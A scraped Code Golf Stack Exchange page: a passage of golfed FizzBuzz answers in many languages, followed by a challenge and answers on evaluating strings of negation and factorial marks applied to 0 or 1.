can see that, in principle, I folded ``` > q d`Fizz`f> ``` into ``` <f`z`< d`Fiz`b ``` which helps to get rid of the all the wasted space between `A` and `<` at the end of the following row in the older solution below: ``` q?{@b'gA< p < ``` **New concept solution (89 bytes) including animated explanation:** ``` q?@ < q?{@b'gA< p < p?<@`zzuB`b'%~5F@<f`zziF`b'< >N@9P~0+.~@~-";~P"#"_"1F3~%d ``` Hexagonal layout: ``` q ? @ < q ? { @ b ' g A < p < p ? < @ ` z z u B ` b ' % ~ 5 F @ < f ` z z i F ` b ' < > N @ 9 P ~ 0 + . ~ @ ~ - " ; ~ P " # " _ " 1 F 3 ~ % d ``` --- Animation of the first 326 ticks at 2 fps, with local and global stacks, and output to STDOUT. [![beeswax FizzBuzz animation](https://i.stack.imgur.com/t04r8.gif)](https://i.stack.imgur.com/t04r8.gif) --- For comparison, below are the path overlays of the older, more complex solution. Maybe it’s also the prettier solution, from a visual standpoint ;) [![Program with path overlay](https://i.stack.imgur.com/0JuPe.png)](https://i.stack.imgur.com/0JuPe.png) [Answer] # [><>](https://esolangs.org/wiki/Fish), ~~68~~ ~~66~~ ~~65~~ ~~64~~ 63 bytes ``` 1\2+2fooo o"Buzz"< o>:::3%:?!\$5%:?!/*?n1+:aa*)?;a o.!o"Fizz"/o ``` The only trick is to multiply remainders as a condition to number printing. That way, if one of them is 0 we won't print the number. You can try it [here](https://suppen.no/fishlanguage). Saved one byte thanks to Sp3000, another thanks to randomra, and a last one thanks to Jacklyn. Thanks a lot! [Answer] # Apple Shortcuts, 9 actions [![enter image description here](https://i.stack.imgur.com/hp11O.jpg)](https://i.stack.imgur.com/hp11O.jpg) This creates a loop that runs 100 times. For each loop, it gets the iteration number and modulos it by 3. We then take the result and use regex replacement to change it to “Fizz” if it is 0. Then, we take the iteration number and use regex replacement to change it to “Buzz” if it ends in 0 or 5. At this point, we have a value that is either “Fizz” or a number, and we have a value that is either “Buzz” or a number. We combine those two values together into a single string, and use regex replacement to remove any numbers. This leaves us with one of “Fizz”, “Buzz”, “FizzBuzz”, or an empty string. Finally, we use one more regex replacement to replace an empty string with the iteration number. The final value left at the end of each iteration is added to the repeat results, so after the loop has finished running, we simply print the list of repeat results with a “show result” action, which automatically formats the list as a bunch of newline separated values. For those who don’t want to/don’t know how to enter this code, [here’s an iOS link](https://www.icloud.com/shortcuts/20829a2475f449d582196a19ec87e51e) that should hopefully maybe possibly work. [Answer] # [gs2](https://github.com/nooodl/gs2/), 28 27 (without `f`) Hex: ``` 1b 2f fe cc 04 46 69 7a 7a 09 07 42 75 7a 7a 19 06 27 2d d8 62 32 ec 99 dc 61 0a ``` Explanation: ``` 1b 100 2f range1 (1..n) fe m: (map rest of program) cc put0 (pop and store in register 0) 04 string-begin Fizz 09 9 07 string-separator Buzz 19 25 06 string-end-array (result: ["Fizz"+chr(9) "Buzz"+chr(25)]) 27 right-uncons 2d sqrt d8 tuck0 (insert value of register 0 under top of stack) 62 divides 32 times (string multiplication) ec m5 (create block from previous 5 tokens, then call map) 99 flatten dc show0 (convert register 0 to string and push it) 61 logical-or 0a newline ``` Embedding 3 and 5 into the string constant doesn't work because `\x05` ends string literals. Note: This problem can be solved in [1 byte](https://codegolf.stackexchange.com/a/58632/2537) with gs2 using the built-in `f`. [Answer] # C, 74 bytes ``` main(i){for(;i<101;puts(i++%5?"":"Buzz"))printf(i%3?i%5?"%d":0:"Fizz",i);} ``` The `0` argument to `printf` instead of `""` is fishy, but seems to work on most platforms I try it on. `puts` segfaults when you try the same thing, though. Without it, you get 75 bytes. There are 73-byte solutions that work on [anarchy golf](http://golf.shinh.org/p.rb?FizzBuzz#C), and I found one digging around in the right places on the internet, but they rely on platform-specific behavior. (As you might have guessed, it's something of the form `puts("Buzz"±...)`.) [Answer] # Scratch, ~~203~~ 185 bytes [![](https://i.stack.imgur.com/zfaPv.png)](https://scratch.mit.edu/projects/85315030/#editor) Bytes counted from the golfed [textual representation](http://scratchblocks.github.io/#when%20gf%20clicked%0Aset%5Bx%20v%5Dto%5B1%0Arepeat(100%0Aset%5By%20v%5Dto%5B%0Aif%3C((x)mod(3))%3D%5B0%0Aset%5By%20v%5Dto%5BFizz%0Aend%0Aif%3C((x)mod(5))%3D%5B0%0Aset%5By%20v%5Dto(join(y)%5BBuzz%0Aend%0Aif%3C(y)%3D%5B%0Asay(x%0Aelse%0Asay(y%0Aend%0Achange%5Bx%20v%5Dby(1%0Aend), per [this meta post](http://meta.codegolf.stackexchange.com/questions/673/golfing-from-scratch/5013#5013). Scratch is not very space-efficient. `say` is the closest thing to a stdout Scratch has: the sprite displays a speech bubble containing whatever it is saying. In practice, a `wait n secs` block would be needed to actually read this output, but for the purposes of this challenge this code fulfills the requirements. [Answer] # [Jelly](http://github.com/DennisMitchell/jelly), ~~24~~ 20 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` ³µ3,5ḍTị“¡Ṭ4“Ụp»ȯµ€G ``` [Try it online!](http://jelly.tryitonline.net/#code=wrPCtTMsNeG4jVThu4vigJzCoeG5rDTigJzhu6RwwrvIr8K14oKsRw&input=) ### How it works ``` ³µ3,5ḍTị“¡Ṭ4“Ụp»ȯµ€G Main link. No input. ³ Yield 100. µ Begin a new, monadic chain. µ€ Apply the preceding chain to all integers n in [1, ..., 100]. 3,5ḍ Test n for divisibility by 3 and 5. T Get all truthy indices. This yields [1] (mult. of 3, not 5), [2] (mult. of 5, not 3), [1, 2] (mult. of 15) or []. “¡Ṭ4“Ụp» Yield ['Fizz', 'Buzz'] by indexing in a dictionary. ị Retrieve the strings at the corr. indices. ȯ Logical OR hook; replace an empty list with n. G Grid; join the list, separating by linefeeds. ``` [Answer] # C, 85 bytes ``` i;main(){for(;i++<=99;printf("%s%s%.d\n",i%3?"":"Fizz",i%5?"":"Buzz",(i%3&&i%5)*i));} ``` *-2 thanks to squeamish.* [Answer] # Haskell, ~~84~~ 82 bytes ``` main=mapM putStrLn[show n`max`map("FizzBuzz"!!)[6-2*gcd 3n..2+gcd 5n]|n<-[1..100]] ``` The expressions work out like this: ``` n 6-2*gcd(3,n) 2+gcd(5,n) ============================= 1 4 3 2 4 3 3 *0 3 4 4 3 5 4 *7 6 *0 3 7 4 3 8 4 3 9 *0 3 10 4 *7 11 4 3 12 *0 3 13 4 3 14 4 3 15 *0 *7 16 ... ... ``` We use them as start and end points for slicing the string. For example, when `n == 5`, then `map("FizzBuzz"!!)[4..7] == "Buzz"`. For non-divisible numbers, the range `[4..3]` is empty, so the result of `map` is `""`, and `max (show n)` replaces that result. ## Old 84 byte answer ``` main=mapM f[1..100] f n|d<-drop.(*4).mod n=putStrLn$max(show n)$d 3"Fizz"++d 5"Buzz" ``` `d = drop.(*4).mod n` is key here: `d 3 "Fizz"` is `drop (n`mod`3 * 4) "Fizz"`. This is `"Fizz"` when `n `mod` 3` is 0 and `""` otherwise. ## Other stuff I got here via this 85: ``` main=mapM putStrLn[max(show n)$drop(6-2*gcd 3n)$take(3+gcd 5n)"FizzBuzz"|n<-[1..100]] ``` Here is another interesting 85: ``` f n=cycle[show n,"Fizz","Buzz",f 3++f 5]!!div(gcd 15n)2 main=mapM(putStrLn.f)[1..100] ``` The world record is 80 bytes by henkma. [Answer] # CJam, 35 bytes ``` 100{)_[Z5]f%:!"FizzBuzz"4/.*s\e|N}/ ``` Try it online in the [CJam interpreter](http://cjam.aditsu.net/#code=100%7B)_%5BZ5%5Df%25%3A!%22FizzBuzz%224%2F.*s%5Ce%7CN%7D%2F). ### How it works ``` 100{)_[Z5]f%:!"FizzBuzz"4/.*s\e|N}/ 100{ }/ For each integer I between 0 and 99: )_ Increment I and push a copy. [Z5] Push [3 5]. f% Map % to push [(I+1)%3 (I+1)%5]. :! Apply logical NOT to each remainder. "FizzBuzz"4/ Push ["Fizz" "Buzz"]. .* Vectorized string repetition. s\ Flatten the result and swap it with I+1. e| Logical OR; if `s' pushed an empty string, replace it with I+1. N Push a linefeed. ``` [Answer] # C#, 128 126 125 124 bytes ``` class A{static void Main(){for(var i=0;i++<100;)System.Console.Write("{0:#}{1:;;Fizz}{2:;;Buzz}\n",i%3*i%5>0?i:0,i%3,i%5);}} ``` 89 bytes without the boilerplate code around. Done with the use of C#'s [conditional formatting](https://msdn.microsoft.com/en-us/library/0c899ak8.aspx). With two section separators `;`, Fizz or Buzz are printed if the value from their condition is zero. Saved a total of 4 bytes thanks to @RubberDuck, @Timwi and @Riokmij. [Answer] # MUMPS, ~~56~~ 54 bytes ``` f i=1:1:100 w:i#5=0 "Fizz" w:i#3=0 "Buzz" w:$X<3 i w ! ``` What's this `w:$X<3 i` thing, you ask? `$X` is a magic variable (an "intrinsic") that stores the horizontal position of the output cursor (as a number of characters from the left edge of the terminal). `w` is the abbreviated form of the `WRITE` command. The syntax `command:condition args` is a postconditional - "if `condition`, then do `command args`". So we're checking whether the output cursor has been advanced more than two characters (which would mean that at least one of `"Fizz"` or `"Buzz"` has been written to the terminal), and if not, writing `i` to the terminal. The `$X` variable - and hence, this sort of deep inseparability from the terminal - is a first-class feature of MUMPS. Yikes. [Answer] # PowerShell, ~~78~~ ~~68~~ ~~61~~ ~~54~~ 51 Bytes *(-1 byte thanks to a person on Twitter that explicitly started following me just to tag me in a Tweet with a golf, because they don't use SE. I was able to improve on that with a bit more of a golf. But since it requires the new [ternary operator](https://learn.microsoft.com/en-us/powershell/scripting/whats-new/what-s-new-in-powershell-70?view=powershell-7.2) in pwsh 7, I'm leaving the old versions present lower down.)* ``` 1..100|%{($x="Fizz"*!($_%3)+"Buzz"*!($_%5))?$x :$_} ``` Loops from `1` to `100`, each time constructing `$x` by exploiting implicit Boolean conversion. That is, if `$_%3` is `0`, it gets converted to `$true` with the `!`, then the `*` re-converts it to a `1` so that we add on `"Fizz"` to `$x`. We encapsulate that construction in parens, so we can re-use it as the introductory query to the ternary operator, choosing to either output `$x` or `$_`, depending on whether `$x` is present. Normally here is where I'd link it to ***Try It Online***, but that's still on pwsh Core 6.2.3, so doesn't have the ternary operator. --- ## Pre-pwsh 7 ``` 1..100|%{(($t="Fizz"*!($_%3)+"Buzz"*!($_%5)),$_)[!$t]} ``` Edit: Saved 10 bytes thanks to [feersum](https://codegolf.stackexchange.com/a/58623/42963) Edit2: Realized that with feersum's trick, I no longer need to formulate $t as a string-of-code-blocks Edit3: Saved another 7 bytes thanks to [Danko Durbić](https://codegolf.stackexchange.com/users/1308/danko-durbi%c4%87) Similar-ish in spirit to the stock Rosetta Code [answer](http://rosettacode.org/wiki/FizzBuzz#Concatenation_2), but golfed down quite a bit. ### Explanation `1..100|%{...}` Create a collection of 1 through 100, then for-each object in that collection, do `(...,$_)` create a new collection of two elements: 0) `$t=...` set the variable `$t` equal to a string; 1. `$_` our-current-number of the loop `"Fizz"*!($_%3)` take our-current-number, mod it by 3, then NOT the result. Multiply "Fizz" by that, and add it to the string (and similar for 5). PowerShell treats any non-zero number as `$TRUE`, and thus the NOT of a non-zero number is 0, meaning that only if our-current-number is a multiple of 3 will "Fizz" get added to the string. `[!$t]` indexes into the collection we just created, based on the value of the string `$t` -- non-empty, print it, else print our-current-number --- ### Alternatively, also 54 bytes ``` 1..100|%{'Fizz'*!($_%3)+'Buzz'*!($_%5)-replace'^$',$_} ``` Thanks to [TesselatingHeckler](https://codegolf.stackexchange.com/users/571/tessellatingheckler) Similar in concept, this uses the inline `-replace` operator and a regular expression to swap out an empty string `^$` with our-current-number. If the string is non-empty, it doesn't get swapped. --- ### Alternatively, also 54 bytes ``` 1..100|%{($_,('Fizz'*!($_%3)+'Buzz'*!($_%5))|sort)[1]} ``` This is the same loop structure as above, but inside it sorts the pair (n, string), and relies on the fact that an empty string sorts before a number, but a FizzBuzz string sorts after a number. Then it indexes the second sort result. [Answer] # Clojure, 113 106 101 100 91 bytes My first golf! ``` (dotimes[i 100](println(str({2'Fizz}(mod i 3))({4'Buzz}(mod i 5)({2""}(mod i 3)(inc i)))))) ``` Ungolfed: ``` (dotimes [i 100] ; account for off-by-one later (println (str ({2 'Fizz} ; str converts symbols to strings (mod i 3)) ({4 'Buzz} ; 4 instead of 0 because of off-by-one (mod i 5) ({2 ""} ; shortest way to write when-not (mod i 3) (inc i)))))) ``` [Answer] ## [Hexagony](https://github.com/mbuettner/hexagony), 112 bytes ``` d{$>){*./;\.}<._.zi...><{}.;/;$@-/=.*F;>8M'<$<..'_}....>.3'%<}'>}))'%<..._>_.'<$.....};u..}....{B.;..;.!<'..>z;/ ``` After unfolding and with colour-coded execution paths: [![enter image description here](https://i.stack.imgur.com/KIDof.png)](https://i.stack.imgur.com/KIDof.png) Diagram created with Timwi's [HexagonyColorer](https://github.com/Timwi/HexagonyColorer). Finally got around to finishing this. I had written an ungolfed solution weeks ago, but wasn't entirely happy with it so I never actually golfed it. After revisiting it the other day, I found a way to simplify the ungolfed solution slightly, and while I think there might still be a better way to approach the problem in general, I decided to golf it this time. The current solution is far from optimal, and I think it should actually fit in side-length 6 instead of 7. I'll give this a go over the next days, and when I'm happy with the result will add a full explanation. [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), ~~411 350 277~~ 258 bytes Edits: * -61 bytes by storing the values of "Fizz Buzz" as ~~"BuziF"~~ "BuziG" and redoing the number printing section. * -71 bytes by redoing the modulo number printing section, splitting the loop counter and the number counter, and reusing the newline cell as the mod value, among other things * -19 bytes by realising that there aren't any 0s in any FizzBuzz numbers. Also added explanation `+[-[>+<<]>-]>--[>+>++>++>++++++>+>>>++++++[<<<]>-]<+++++[>+>+>->>->++>>>-->>>++[<<<]>>>-]>[>]+++>>[>+<<<-[<]<[>+++>+<<-.+<.<..[<]<]>>-[<<]>[.>.>..>>>>+[<]+++++<]>[>]>>[[->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<]>[-<+>]>,>[>]<[>-[<+>-----]<---.,<]++++++++++>]<.<<<<,>-]` [Try it online!](https://tio.run/##LU9RCkMhDDuQticIuUjxYxsMxmAfg53fJfXVok0bE71/b6/P8/d47z0qigNYDKVrjisdgrzKwmHhIBMZVA5zIpp4SLRYcVmALY8oLBRbUigHEpluiq6hjkpqJS2kQdugdSRSYTu7CpZejaHCCB1qntb0BTlJUxccC9pyXornW0v2iqmH7v0H "brainfuck – Try It Online") Instead of checking if the number itself was divisible by 5 or 3 I had two counters keeping track of the modulo of the number, decrementing them for each number and printing out the corresponding word when they reached 0. ### How It Works: ``` +[-[>+<<]>-]>-- Generate the number 61 [>+>++>++>++++++>+>>>++++++[<<<]>-] Set the tape to multiples of 61 TAPE: 0 0' 61 122 122 110 61 0 0 110 "=" "z" "z" "n" "=" <+++++[>+>+>->>->++>>>-->>>++[<<<]>>>-]>[>]+++>> Modify values by multiples of 5 TAPE: 0' 5 66 117 122 105 71 3 0 100' 0 0 10 "B" "u" "z" "i" "G" Some info: 5 - Buzz counter "Buz" - Buzz printing "ziG" - Fizz printing. Modifying the G in the loop is shorter than modifying it outside 3 - Fizz counter 0 - This is where the Fizz|Buzz check will be located 100 - Loop counter 0 - Number counter. It's not worth it to reuse the loop counter as this. 0 - Sometimes a zero is just a zero 10 - Value as a newline and to mod the number by [ Loop 100 times >+<<< Increment number counter -[<]< Decrement Fizz counter [ If Fizz counter is 0 >+++ Reset the Fizz counter to 3 >+<< Set the Fizz|Buzz check to true -.+<.<.. Print "Fizz" [<]<] Sync pointers >>-[<<]> Decrement Buzz counter [ If Buzz counter is 0 .>.>.. Print "Buzz" >>>>+ Set the Fizz|Buzz check to true [<]+++++< Reset the Buzz counter to 5 ] >[>]>> Go to Fizz|Buzz check [ If there was no Fizz or Buzz for this number TAPE: 3% BuziG 5% 0 Loop Num' 0 10 [->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<] Mod the number counter by 10 TAPE: 3% BuziG 5% 0 Loop 0' Num 10-Num%10 Num%10 Num/10 >[-<+>] Move Num back in place >,>[>]< Reset 10-Num%10 [ For both Num/10 (if it exists) and Num%10 >-[<+>-----]<--- Add 48 to the number to turn it into the ASCII equivilent .,< Print and remove ] ++++++++++> Add the 10 back ] <. Print the newline <<<<, Remove Fizz|Buzz check >- Decrement Loop counter ] ``` ]
[Question] [ In mathematics an exclamation mark `!` often means [factorial](https://en.wikipedia.org/wiki/Factorial) and it comes after the argument. In programming an exclamation mark `!` often means [negation](https://en.wikipedia.org/wiki/Negation#Programming) and it comes before the argument. For this challenge we'll only apply these operations to zero and one. ``` Factorial 0! = 1 1! = 1 Negation !0 = 1 !1 = 0 ``` Take a string of zero or more `!`'s, followed by `0` or `1`, followed by zero or more `!`'s ([`/!*[01]!*/`](https://regex101.com/r/0lEuae/1)). For example, the input may be `!!!0!!!!` or `!!!1` or `!0!!` or `0!` or `1`. The `!`'s before the `0` or `1` are negations and the `!`'s after are factorials. Factorial has higher precedence than negation so factorials are always applied first. For example, `!!!0!!!!` truly means `!!!(0!!!!)`, or better yet `!(!(!((((0!)!)!)!)))`. Output the resultant application of all the factorials and negations. The output will always be `0` or `1`. ### Test Cases ``` 0 -> 0 1 -> 1 0! -> 1 1! -> 1 !0 -> 1 !1 -> 0 !0! -> 0 !1! -> 0 0!! -> 1 1!! -> 1 !!0 -> 0 !!1 -> 1 !0!! -> 0 !!!1 -> 0 !!!0!!!! -> 0 !!!1!!!! -> 0 ``` The shortest code in bytes wins. [Answer] ## Mathematica, ~~25~~ 17 bytes ``` Input[]/.!x_:>1-x ``` Takes input from a user prompt. Assumes Mathematica's [notebook environment](http://meta.codegolf.stackexchange.com/a/7844/8478) for implicit printing. To make it a command-line script, wrap it in `Print[...]` or to make it an argumentless function (which then takes input from the prompt), append `&`. Mathematica has both of the required operators (with the required precedence), so we can just "eval" the input (which is done automatically by `Input[]`), but the logical negation operator doesn't work on integers (so it will remain unevaluated). If there's a `!x` left in the result, we replace it with `1-x`. A couple of fun facts about the evaluation: 1. Mathematica actually *also* has the double factorial operator `!!`, which computes `n*(n-2)*(n-4)*...`, but applied to `0` or `1` it still gives `1`, so it doesn't matter that `0!!!!!` will actually be parsed as `((0!!)!!)!`. 2. Even though Mathematica leaves `!0` and `!1` unevaluated, it does know that `!` is self-inverse, so it will automatically cancel all pairs of leading `!`. After the `ToExpression` we're *always* left with one of `0`, `1`, `!0`, `!1`. [Answer] # [Bash](https://www.gnu.org/software/bash/) + Unix utilities, ~~21~~ 17 bytes ``` sed s/.!!*$/1/|bc ``` [Verify the test cases online!](https://tio.run/##TY6xCoMwGIT3PMUlWIQWTDIW1K1d@wwatTpoJLGQwXdPTdKWLsfd99/B3zZ29KrZUK9GP00zoyzZ7XFn3vYdLC8oPWdc8r1V/sCEqHHWHV4Xh4J/JmTQBg7TAgGJXNAcuQxCRRAZXcyRCpoKkaTKt5NQSjTkH4mWAJ0@BFjNtGwD2OlqUdVgAMsci6dejRqZw/73YNgtvX8D "Bash – Try It Online") *Added a TIO link to the test suite.* This must be saved in a file and run as a program. If you try to enter the command directly from the command line, it won't work because !! is expanded due to history substitution being enabled in bash's interactive mode. (Alternatively, you can turn history substitution off with `set +H`.) [Answer] ## [Retina](https://github.com/m-ender/retina), ~~20~~ ~~15~~ 14 bytes *Thanks to Leo for saving 1 byte.* ``` 0! 1 !! ^1|!0 ``` [Try it online!](https://tio.run/nexus/retina#LYm5DYBAEANzdzEBEqGvCro4UQi9L7Ygm@c4r3uMlkDa68EzjrYhLLIixExjuPnrlRLl3wov "Retina – TIO Nexus") ### Explanation ``` 0! 1 ``` Turn `0!` into `1`. We don't care about any other trailing `!`s, the resulting number is the same as if we had applied all factorials. ``` !! ``` Cancel pairs of negations. This may also cancel some factorials, but that's irrelevant. ``` ^1|!0 ``` Count the number of matches of this regex, which is either `1` or `0` and gives the desired result. [Answer] ## [Grime](https://github.com/iatorm/grime), ~~14 12~~ 9 bytes ``` e`\0!~\!_ ``` [Try it online!](https://tio.run/nexus/grime#@5@aEGOgWBejGP//vyIQGCgCAA) ## Explanation This matches the input against a pattern, printing `1` for match and `0` for no match. ``` e`\0!~\!_ e` Match entire input against this pattern: ! not \0 a sole 0 ~ xor \! exclamation mark _ followed by this pattern matched recursively. ``` The idea is this. If the input begins with a digit, then the recursive part `\!_` always fails, and `\0!` succeeds unless we have a single `0`. Their xor succeeds unless the input is a single `0`. If the input begins with a `!`, then `\0!` always succeeds, and `\!_` succeeds if the recursive match succeeds. Their xor succeeds exactly when the recursive match fails, thus negating it. [Answer] # Brainfuck, ~~85~~ 72 (84) bytes ``` ,[>-[-----<->]<++[>++++[-<++++>]+<[[+],[[-]>-<]]]>[<<+[-->]>[<],>-]<]<+. ``` to return numerically, or ``` ,[>-[-----<->]<++[>++++[-<++++>]+<[[+],[[-]>-<]]]>[<<+[-->]>[<],>-]<]-[-----<+>]<--. ``` for ASCII text. > may also be prefixed to avoid memory wrapping. [Try it online!](https://tio.run/nexus/brainfuck#NYzRCcBADEJnyXfO0gHERcT9x0hzHxVEwYdzLBhXhMJuq1cGbyhNu3NsRGASmdx54W05Qpj/YXkCz0xVveuaDw "brainfuck – TIO Nexus") --- ``` Loops over the input. On 1, ends. On "!", toggles bool a stored as 0 or 255. On "0", toggles if there is no trailing bit, then ends. Memory labels | BOOL | INPUT | FLAG | , first input [ # loop on INPUT >-[-----<->]<++ subtract 49 == "1" [ # case not "1" >++++[-<++++>] add 16 since 49 take 16 == "!" + set FLAG < move to INPUT [ # case "0" [+], clear and new INPUT [ # case "0!" [-]>-< clear INPUT and FLAG ] ] ] > move to FLAG [ # case "!" or "0" without tail <<+[-->]>[<] not the BOOL , take new input >- clear FLAG ] < move to INPUT ] +. return 0 or 1 ``` Or for text response, replace the last line with ``` -[-----<+>]<--. add 49 for "0" or "1" conversion and return ``` [Answer] # Brainfuck - way to many bytes (232 bytes) Clearly the wrong language for winning in code golf. Mainly I noticed a lack of anyone using this esolang. There is a good online interpreter [bf interpeter](https://sange.fi/esoteric/brainfuck/impl/interp/i.html) or you can actually watch what the program does using this [bf visualizer](https://fatiherikli.github.io/brainfuck-visualizer/#). ``` >>>>>,[>+++[<---------------->-]<<<<<<[-]+>[-]>>>>[-[<<[>+<<<<->>>[<<+>>-] ]<<[>>+<<-]<[>>+<<[-]]>>>>>[-]]<<<<<[>>>++<<<-]>+>>>>[-]]<<<<-[>>+<<[-]]>>>>,]<<->[<[-]+>[-]]<<[<[-]>>[<<+>>[-]]+<<[->>-<<]>-]>>[-]+++[<++++++++++++++++>-]<. ``` [Answer] # Python, ~~-44-~~ 42 bytes Saved 2 bytes thanks to Zgarb! ``` lambda x:(x[-1]=='0')^len(x.rstrip('!'))%2 ``` Step by step: 1. `x[-1]!='0'` if `x` ends with `1` or `!` ⇔ `x` doesn't end with `0`, the factorial portion must have value `1`, else `0` 2. `^len(x.rstrip('!'))%2` exploit xor's property as a "conditional not". The condition in this case is if the length of initial `!`s is odd. However, `.rstrip` doesn't remove the number from the string so the length calculated is offset by 1, therefore the condition is inverted 3. The offset by 1 in step 2 is corrected by changing `!=` to `==` in step 1. Zgarb suggested using a difference comparison operator rather than applying another inversion, saving 2 bytes. [Try it online!](https://tio.run/nexus/python3#LYxBCsMgEEX3c4oxUBwJKdplqCcJLaSkgjAxQV3Y06fadBbDe2/xnaWD5/W1zFhGKtNgHtZKLdWT34HKNaYc/U5SSKUut0OBi9uK6ZPQr/sWM6a8@ABui8jow6kjYD22PI117yd79CFTHSNHrFTf4X3Armd1aDCgBRgBQoMw9VeqpkWLlVs@e5NGovHfGnwB "Python 3 – TIO Nexus") [Answer] ## JavaScript (ES6), ~~43~~ ~~41~~ 29 bytes ``` s=>+eval(s.replace(/.!+$/,1)) ``` ### Non-regex method (~~41~~ 31 bytes) Below is my initial approach. It's slightly more interesting, but ~~significantly longer~~ *still a bit longer even after a significant optimization by Neil (10 bytes saved)*. ``` f=([c,...s])=>1/c?c|s>'':1-f(s) ``` ### Test cases ``` let f = s=>+eval(s.replace(/.!+$/,1)) ;[ "0", "1", "0!", "1!", "!0", "!1", "!0!", "!1!", "0!!", "1!!", "!!0", "!!1", "!0!!", "!!!1", "!!!0!!!!", "!!!1!!!!" ].map( s => console.log(s, '=>', f(s)) ) ``` [Answer] # [Retina](https://github.com/m-ender/retina), 13 bytes A somewhat weird approach, but it's short and it works. ``` 0$ !1 !! ^\d ``` With the first two lines we replace an ending `0` with `!1`: with this replacement we now know that the part of our string from the digit onwards is equal to 1. Next two lines, remove pairs of `!`: double negation erases itself, and we already accounted for factorial with the previous step. Last line, match a digit at the start of the string and return the number of matches: if the negations have all been eliminated we'll find a match (and as we said before we know this is equal to 1), if there's still a negation this won't match. [Try it online!](https://tio.run/nexus/retina#U9VwT/hvoMKlaMilqMjFFReT8v@/AZchl4Eil6Eil6IBWALIUQTyDBRBgkA2SBgiDuKAtYLYUB6IAQA "Retina – TIO Nexus") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 5 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` VeMḂ$ ``` **[Try it online!](https://tio.run/nexus/jelly#@x@W6vtwR5PK/6N7Drc/alrzqHG7tXvk///RSgZKOkqGQGygCGKACEWQkKIhmAXmg0UNFCEKwCIQJTA1ECEITxHEh4uAmbEA)** Monadic function expecting a string. Inputs with leading `!`s cause a `1` to be printed to STDOUT along the way, so the TIO link I give is a test harness that prints the input-output pairs beneath the first line of output. ### How? ``` VeMḂ$ - Monadic link: string V - eval the string - the implicit input of 0 causes !...! to evaluate to 1 (which gets printed), - the result is the evaluation of the rest: "0"=0; "0!"=1; "1"=1; "1!"=1; ... e - exists in? $ - last two links as a monad: M - Maximal indexes - the "0" and "1" characters are greater than "!", - so this results in a list of one item [i] where - i is the 1-based index of the 0 or 1 character. Ḃ - %2 (vectorises) - [i%2], so a 0 if we need to logically negate and a 1 if not - hence we check equality with e rather than inequality. ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 9 bytes Code: ``` .V¹'!ÜgG_ ``` Uses the **CP-1252** encoding. [Try it online!](https://tio.run/nexus/05ab1e#@68XdminuuLhOenu8f//KxooKgIA "05AB1E – TIO Nexus") or [Verify all test cases!](https://tio.run/nexus/05ab1e#qymr/K8XVqmueHhOunv8/9pKJQVdOwWlQ6uLD63W@W/AZchloMhlqMilaMClaAgkgSwgz0ARJAhkg4Qh4iAOiKUIYkN5IAYA) Explanation: ``` .V # Evaluate the input as 05AB1E code. This computes the factorial part. '!Ü # Remove trailing exclamation marks.. ¹ # ..from the first input g # Get the length of the resulting string G # Do the following length - 1 times: _ # Negate the number ``` [Answer] # Ruby, 12+1 = ~~39~~ ~~24~~ ~~15~~ 13 bytes Uses the `-n` flag. Thanks to [@GB](https://codegolf.stackexchange.com/users/18535/g-b) for -9 bytes! ``` p~/!*$|0$/%2 ``` [Answer] # [Perl](https://www.perl.org/), 20 bytes 19 bytes of code + `-p` flag. ``` s/\d!+/1/;$_=0+eval ``` [Try it online!](https://tio.run/nexus/perl#U1YsSC3KUdAt@F@sH5OiqK1vqG@tEm9roJ1alpjz/78BlyGXgSKXoSKXogGXoiGQBLKAPANFkCCQDRKGiIM4IJYiiA3lgRgA "Perl – TIO Nexus") Perl's negation returns `undef` or `1`, so I use `0+` to numerify the result `0+undef` returns `0`. Besides that, not much to say about the code. [Answer] # C, 68 62 61 53 bytes ``` c;e(char*a){for(c=1;*a<34;a++)c^=1;c=a[1]?c:*a&1^!c;} ``` Squeezed out a few more bytes with some abuse [Try it online!](https://tio.run/nexus/c-gcc#fY7NDsIgEITvPsXSRgNYTYmexNYH8SchQFMSoabVgxqfvRa9mOjKiZmd/XZSF/TxYiysu7NxzbwuR6mxlQsWDPUM4ju1Lpwrmow7mJUwNruQZOAzsEOA9VpaqmvVcsXuVdNSXQjJ1XqxlGo6ZfowSF2ordhv9IqriTgQLR/9QASvXKDxc8vgReBXBvdRPBklcPDypTwUkOTJW8RaH7b4becEiSM@QfBEYHkMhF3ICVoJQ6Gl/rRCWegOiVv/9r6mj/4J "C (gcc) – TIO Nexus") [Answer] # [Perl 6](http://perl6.org/), ~~32~~ ~~28~~ 23 bytes ``` {m/(\!)*(1|0.)*/.sum%2} ``` ### How it works ``` { } # A lambda. {m/ / } # Match the lambda argument against the regex: (\!)* # Zero or more `!`. # (First capture will be an array with one element per negation). (1|0.)* # A `1`, or a `0` and another character, zero or more times. # (Second capture will be a one-element array if the factorial # part evaluates to 1, and an empty array otherwise.) .sum # Add the lengths of the two captures, %2 # and return that sum modulo 2. ``` [Answer] ## [Haskell](https://www.haskell.org/), 39 bytes ``` f('!':b)="10"!!read[f b] f[a]=a f _='1' ``` Defines a function `f`, which takes a string and returns a character. [Try it online!](https://tio.run/nexus/haskell#y03MzFOwVSgoyswrUVBRSFNQUlRUNFBU@p@moa6obpWkaatkaAAUK0pNTIlOU0iK5UqLToy1TeRKU4i3VTdU//8fAA "Haskell – TIO Nexus") ## Explanation There are three cases: input begins with `!`, input has length 1, and everything else. ``` f('!':b)= -- If input has head '!' and tail b, "10"!! -- we index into the string "10" read[f b] -- using f b converted to int. This essentially inverts f b. f[a]= -- If input has only one character, we know it's a digit, a -- so we can just return it. f _= -- In all other cases, we know the input is a digit followed by !s, '1' -- so we can return '1'. ``` [Answer] # Befunge, 24 bytes ``` ~"!"-:#v_$1+ *+2%!.@>0~` ``` [Try it online!](http://befunge.tryitonline.net/#code=fiIhIi06I3ZfJDErCiorMiUhLkA+MH5g&input=ISEhMCEhISE) This starts by counting the number of `!` characters read from stdin. The first character that isn't a `!` will either be a `0` or `1`, but in the process of testing for `!` we will have subtracted 33, making it either 15 or 16. We then read one more character, that will either be an `!` or EOF, and compare if that is less than 0 (i.e. EOF). Taking those three data points - the exclamation count (*c*), the digit value, (*d*), and the end-of-file condition (*e*) - we can calculate the result as follows: ``` !((c + d*e) % 2) 